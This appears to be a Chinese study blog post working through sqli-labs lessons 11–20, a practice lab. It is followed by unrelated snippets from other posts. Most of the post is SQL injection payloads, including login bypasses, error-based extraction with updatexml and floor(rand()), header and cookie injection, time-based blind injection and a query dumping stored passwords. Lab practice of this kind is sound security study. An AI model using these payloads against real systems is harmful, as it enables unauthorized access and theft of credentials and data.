sqli lab詳解 做題筆記11 20

2021-08-28 20:32:41 字數 3007 閱讀 9837

這部分的題目都是通過post方法注入

less-11 基於報錯-單引號字串

在user或者password欄中輸入

1』 or 1=1 #

獲取資訊:

1』 or 1=1 limit 2,1 #2可換成需要的數字

還可以用盲注的方法獲得資訊(後面補充)

less-12 基於報錯-雙引號字串變式

在user或者password欄中輸入

2") or 1=1 #

less-13 雙注入-單引號字串變式

在user或者password欄中輸入

a') or 1=2 union select count(*),concat((select version()),floor(rand()*2)) as a from information_schema.tables group by a #
less-14 雙注入-雙引號字串

(本題題目名稱目錄中應該是寫錯了)

在user或者password欄中輸入

a" or 1=2 union select count(*),concat((select version()),floor(rand()*2)) as a from information_schema.tables group by a #
less-15 盲注-布林型/時間-單引號

在user或者password欄中輸入

1' or ascii(mid((select database()),1,1))>64 #布林注入

1' or if(ascii(substr((select database()),1,1))<115,true,sleep(3)) # #時間盲注

less-16 盲注-布林型/時間-雙引號

在user或者password欄中輸入(本題實際上是有括號的)

1") or ascii(mid((select database()),1,1))>64 #布林注入

1") or if(ascii(substr((select database()),1,1))<115,true,sleep(3)) # #時間盲注

less-17 更新查詢-基於報錯-字串

本題是輸入使用者名稱和要更改的密碼。源**中對username做了很多限制,所以要從password注入。已知使用者名稱admin(能更改密碼成功說明使用者名稱存在)

方法一:雙注入

' or (select 1 from(select count(*),concat('*',(select database()),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) #
使用者名稱admin要輸,密碼欄輸入上面的**。

對於dateup、delete和insert通常都是結合or的邏輯判斷

方法二:updatexml()函式

uname=admin&passwd='  or updatexml(1,concat('~',(select database()),'~'),0)%23
原理是利用該函式的報錯

獲取資料:

但是這邊卻出現了you can』t specify target table 『users』 for update in from clause錯誤

不能先select出同一表中的某些值,再update這個表(在同一語句中)。

也就是說將select出的結果再通過中間表select套一遍,這樣就規避了錯誤,其實之前在子查詢注入中也有用到此方法,同時,還要給多加的一重select賦乙個別名

'  or updatexml(1,concat('~',(select * from(select concat_ws(char(45),id,username,password) from users limit 0,1)as a),'~'),0)%23
方法三:盲注

less-18 包頭注入-uagent-基於報錯

user-agent的輸入沒有過濾,且作為插入值用在了insert語句中,用bp修改user-agent值為

' or updatexml(1,concat(0x3a,database()),1))#
完成把xml報錯注入

$  ' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))#  //獲取表名

$ ' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))# //獲取指定表欄位名

less-19 包頭注入-referer(**)-基於報錯

這次是修改referer欄位,同理

' or updatexml(1,concat(0x3a,database()),1))#
less-20 cookie注入-使用者**-基於報錯

修改cookie欄位構造sql語句

uname=qwe' union select 1,user(),database()-- #
注意結果是顯示在下面 id: *** password:***那部分

Week11作業 A 必做題 11

題目 蒜頭君從現在開始工作,年薪 n 萬。他希望在蒜廠附近買一套 60 平公尺的房子,現在 是 200 萬。假設房子 以每年百分之 k 增長,並且蒜頭君未來年薪不變,且不吃不喝,不用交稅,每年所得 n萬全都積攢起來,問第幾年能夠買下這套房子?第一年年薪 n 萬,房價 200 萬 輸入格式 一行,包含...

linux做題筆記

修改linux檔案許可權命令 chmod 檔案或目錄的訪問許可權分為唯讀 r 只寫 w 和可執行 x 三種。橫線代表空許可 ls l命令顯示檔案或者目錄的詳細資訊。rw r r 1 root root 483997 ju1 l5 17 3l sobsrc.tgz 第乙個 表示非目錄檔案,如果是 d ...

做題筆記3

一 將陣列a中的內容和陣列b中的內容進行交換。陣列一樣大 includeint main 迴圈遍歷,輸入陣列arr1,i作為陣列元素的個數。printf 請輸入5個數字的陣列arr2 for i 0 i 5 i 迴圈遍歷,輸入陣列arr2,i作為陣列元素的個數。for i 0 i 5 i 利用迴圈遍...